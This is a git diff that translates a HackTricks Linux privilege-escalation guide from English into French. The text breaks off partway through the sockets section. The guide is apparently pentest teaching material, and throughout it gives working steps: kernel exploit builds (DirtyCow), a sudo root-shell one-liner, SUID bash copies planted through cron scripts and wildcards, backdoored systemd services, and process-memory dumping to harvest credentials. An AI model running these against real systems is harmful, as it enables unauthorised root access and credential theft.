diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index afccf5db5..32d143dc4 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,66 +1,55 @@ -# Linux Privilege Escalation +# Escalade de privilèges Linux {{#include ../../banners/hacktricks-training.md}} -## System Information +## Informations système -### OS info - -Let's start gaining some knowledge of the OS running +### Infos sur le système d'exploitation +Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` +### Chemin -### Path - -If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: - +Si vous **avez des permissions d'écriture sur un dossier à l'intérieur de la variable `PATH`**, vous pourriez être en mesure de détourner certaines bibliothèques ou binaires : ```bash echo $PATH ``` +### Infos sur l'environnement -### Env info - -Interesting information, passwords or API keys in the environment variables? - +Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ? ```bash (env || set) 2>/dev/null ``` +### Exploits du noyau -### Kernel exploits - -Check the kernel version and if there is some exploit that can be used to escalate privileges - +Vérifiez la version du noyau et s'il existe un exploit pouvant être utilisé pour élever les privilèges. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` +Vous pouvez trouver une bonne liste de noyaux vulnérables et quelques **exploits compilés** ici : [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +D'autres sites où vous pouvez trouver des **exploits compilés** : [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - -To extract all the vulnerable kernel versions from that web you can do: - +Pour extraire toutes les versions de noyau vulnérables de ce site, vous pouvez faire : ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` - -Tools that could help to search for kernel exploits are: +Les outils qui pourraient aider à rechercher des exploits de noyau sont : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécutez DANS la victime, vérifie uniquement les exploits pour le noyau 2.x) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +Toujours **recherchez la version du noyau sur Google**, peut-être que votre version du noyau est mentionnée dans un exploit de noyau et alors vous serez sûr que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) -Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 - +Escalade de privilèges Linux - Noyau Linux <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -68,96 +57,73 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` +### Version de Sudo -### Sudo version - -Based on the vulnerable sudo versions that appear in: - +Basé sur les versions vulnérables de sudo qui apparaissent dans : ```bash searchsploit sudo ``` - -You can check if the sudo version is vulnerable using this grep. - +Vous pouvez vérifier si la version de sudo est vulnérable en utilisant ce grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` - #### sudo < v1.28 -From @sickrov - +De @sickrov ``` sudo -u#-1 /bin/bash ``` +### La vérification de la signature Dmesg a échoué -### Dmesg signature verification failed - -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited - +Vérifiez la **boîte smasher2 de HTB** pour un **exemple** de la façon dont cette vulnérabilité pourrait être exploitée. ```bash dmesg 2>/dev/null | grep "signature" ``` - -### More system enumeration - +### Plus d'énumération système ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` - -## Enumerate possible defenses +## Énumérer les défenses possibles ### AppArmor - ```bash if [ `which aa-status 2>/dev/null` ]; then - aa-status - elif [ `which apparmor_status 2>/dev/null` ]; then - apparmor_status - elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then - ls -d /etc/apparmor* - else - echo "Not found AppArmor" +aa-status +elif [ `which apparmor_status 2>/dev/null` ]; then +apparmor_status +elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then +ls -d /etc/apparmor* +else +echo "Not found AppArmor" fi ``` - ### Grsecurity - ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` - ### PaX - ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` - ### Execshield - ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` - ### SElinux - ```bash - (sestatus 2>/dev/null || echo "Not found sestatus") +(sestatus 2>/dev/null || echo "Not found sestatus") ``` - ### ASLR - ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` - ## Docker Breakout -If you are inside a docker container you can try to escape from it: +Si vous êtes à l'intérieur d'un conteneur docker, vous pouvez essayer d'en sortir : {{#ref}} docker-security/ @@ -165,80 +131,69 @@ docker-security/ ## Drives -Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info - +Vérifiez **ce qui est monté et démonté**, où et pourquoi. Si quelque chose est démonté, vous pourriez essayer de le monter et de vérifier les informations privées. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` +## Logiciels utiles -## Useful software - -Enumerate useful binaries - +Énumérer les binaires utiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` - -Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) - +Vérifiez également si **un compilateur est installé**. Cela est utile si vous devez utiliser une vulnérabilité du noyau, car il est recommandé de la compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` +### Logiciels vulnérables installés -### Vulnerable Software Installed - -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -It is recommended to check manually the version of the more suspicious installed software. - +Vérifiez la **version des paquets et services installés**. Il pourrait y avoir une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour élever les privilèges…\ +Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` +Si vous avez un accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier les logiciels obsolètes et vulnérables installés sur la machine. -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. - -> [!NOTE] > _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ +> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront principalement inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus._ ## Processes -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) - +Jetez un œil à **quels processus** sont en cours d'exécution et vérifiez si un processus a **plus de privilèges qu'il ne devrait** (peut-être un tomcat exécuté par root ?) ```bash ps aux ps -ef top -n 1 ``` +Toujours vérifier les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ +Vérifiez également **vos privilèges sur les binaires des processus**, peut-être que vous pouvez écraser quelqu'un. -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +### Surveillance des processus -### Process monitoring +Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier les processus vulnérables exécutés fréquemment ou lorsque un ensemble de conditions est rempli. -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### Mémoire des processus -### Process memory - -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +Certains services d'un serveur enregistrent **des identifiants en texte clair dans la mémoire**.\ +Normalement, vous aurez besoin de **privilèges root** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc cela est généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir plus d'identifiants.\ +Cependant, rappelez-vous que **en tant qu'utilisateur régulier, vous pouvez lire la mémoire des processus que vous possédez**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Notez qu'aujourd'hui, la plupart des machines **ne permettent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrôle l'accessibilité de ptrace : > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0** : tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la manière classique dont ptracing fonctionnait. +> - **kernel.yama.ptrace_scope = 1** : seul un processus parent peut être débogué. +> - **kernel.yama.ptrace_scope = 2** : seul l'administrateur peut utiliser ptrace, car cela nécessite la capacité CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3** : Aucun processus ne peut être tracé avec ptrace. Une fois défini, un redémarrage est nécessaire pour activer à nouveau ptracing. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - +Si vous avez accès à la mémoire d'un service FTP (par exemple), vous pourriez obtenir le Heap et rechercher à l'intérieur de ses identifiants. ```bash gdb -p (gdb) info proc mappings @@ -247,50 +202,42 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` - -#### GDB Script - +#### Script GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ - | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ - | while read start stop; do \ - gdb --batch --pid $1 -ex \ - "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ +| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ +| while read start stop; do \ +gdb --batch --pid $1 -ex \ +"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` - #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. - +Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et vider toutes les régions lisibles** dans un fichier. ```bash procdump() ( - cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" - while read a b; do - dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ - skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" - done ) - cat $1*.bin > $1.dump - rm $1*.bin +cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" +while read a b; do +dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ +skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" +done ) +cat $1*.bin > $1.dump +rm $1*.bin ) ``` - #### /dev/mem -`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ -Typically, `/dev/mem` is only readable by **root** and **kmem** group. - +`/dev/mem` fournit un accès à la mémoire **physique** du système, et non à la mémoire virtuelle. L'espace d'adresses virtuelles du noyau peut être accédé en utilisant /dev/kmem.\ +Typiquement, `/dev/mem` est uniquement lisible par **root** et le groupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` +### ProcDump pour linux -### ProcDump for linux - -ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) - +ProcDump est une réinvention de Linux de l'outil classique ProcDump de la suite d'outils Sysinternals pour Windows. Obtenez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -317,48 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` +### Outils -### Tools - -To dump a process memory you could use: +Pour extraire la mémoire d'un processus, vous pouvez utiliser : - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez supprimer manuellement les exigences root et extraire le processus qui vous appartient +- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) -### Credentials from Process Memory +### Identifiants à partir de la mémoire du processus -#### Manual example - -If you find that the authenticator process is running: +#### Exemple manuel +Si vous constatez que le processus d'authentification est en cours d'exécution : ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` - -You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: - +Vous pouvez dumper le processus (voir les sections précédentes pour trouver différentes façons de dumper la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` - #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en texte clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. -| Feature | Process Name | -| ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| Fonctionnalité | Nom du Processus | +| --------------------------------------------------- | --------------------- | +| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Connexions FTP Actives) | vsftpd | +| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 | +| OpenSSH (Sessions SSH Actives - Utilisation de Sudo) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) - ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -372,186 +313,158 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` +## Tâches planifiées/Cron -## Scheduled/Cron jobs - -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). - +Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` +### Chemin Cron -### Cron path +Par exemple, à l'intérieur de _/etc/crontab_, vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ - -(_Note how the user "user" has writing privileges over /home/user_) - -If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ -Then, you can get a root shell by using: +(_Remarquez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user_) +Si à l'intérieur de ce crontab, l'utilisateur root essaie d'exécuter une commande ou un script sans définir le chemin. Par exemple : _\* \* \* \* root overwrite.sh_\ +Alors, vous pouvez obtenir un shell root en utilisant : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` +### Cron utilisant un script avec un caractère générique (Injection de caractère générique) -### Cron using a script with a wildcard (Wildcard Injection) - -If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: - +Si un script exécuté par root contient un “**\***” à l'intérieur d'une commande, vous pourriez en profiter pour provoquer des choses inattendues (comme une élévation de privilèges). Exemple : ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` +**Si le caractère générique est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** - -Read the following page for more wildcard exploitation tricks: +Lisez la page suivante pour plus d'astuces d'exploitation de caractères génériques : {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: +### Écrasement de script Cron et symlink +Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` - -If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you - +Si le script exécuté par root utilise un **répertoire où vous avez un accès total**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous. ```bash ln -d -s ``` +### Tâches cron fréquentes -### Frequent cron jobs - -You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. - -For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +Vous pouvez surveiller les processus pour rechercher ceux qui sont exécutés toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en profiter et élever les privilèges. +Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus, vous pouvez faire : ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` +**Vous pouvez également utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela surveillera et listera chaque processus qui démarre). -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). - -### Invisible cron jobs - -It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): +### Tâches cron invisibles +Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère de retour chariot) : ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` - ## Services -### Writable _.service_ files +### Fichiers _.service_ modifiables -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (peut-être devrez-vous attendre que la machine redémarre).\ +Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** -### Writable service binaries +### Binaires de service modifiables -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. +Gardez à l'esprit que si vous avez **des permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les remplacer par des backdoors, de sorte que lorsque les services sont réexécutés, les backdoors seront exécutées. -### systemd PATH - Relative Paths - -You can see the PATH used by **systemd** with: +### systemd PATH - Chemins relatifs +Vous pouvez voir le PATH utilisé par **systemd** avec : ```bash systemctl show-environment ``` - -If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: - +Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure d'**escalader les privilèges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** comme : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` +Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** dans le dossier PATH de systemd où vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **porte dérobée sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser `sudo -l`). -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). +**En savoir plus sur les services avec `man systemd.service`.** -**Learn more about services with `man systemd.service`.** +## **Minuteurs** -## **Timers** - -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. - -You can enumerate all the timers with: +Les **minuteurs** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers `**.service**` ou les événements. Les **minuteurs** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone. +Vous pouvez énumérer tous les minuteries avec : ```bash systemctl list-timers --all ``` +### Minuteries modifiables -### Writable timers - -If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) - +Si vous pouvez modifier un minuteur, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`) ```bash Unit=backdoor.service ``` +Dans la documentation, vous pouvez lire ce qu'est l'unité : -In the documentation you can read what the Unit is: +> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité du minuteur soient nommés identiquement, sauf pour le suffixe. -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +Par conséquent, pour abuser de cette permission, vous devez : -Therefore, to abuse this permission you would need to: +- Trouver une unité systemd (comme un `.service`) qui **exécute un binaire modifiable** +- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous avez **des privilèges d'écriture** sur le **PATH systemd** (pour usurper cet exécutable) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**En savoir plus sur les minuteurs avec `man systemd.timer`.** -**Learn more about timers with `man systemd.timer`.** - -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +### **Activation du minuteur** +Pour activer un minuteur, vous avez besoin de privilèges root et d'exécuter : ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` - -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Notez que le **timer** est **activé** en créant un lien symbolique vers celui-ci dans `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. -Sockets can be configured using `.socket` files. +Les sockets peuvent être configurés à l'aide de fichiers `.socket`. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on 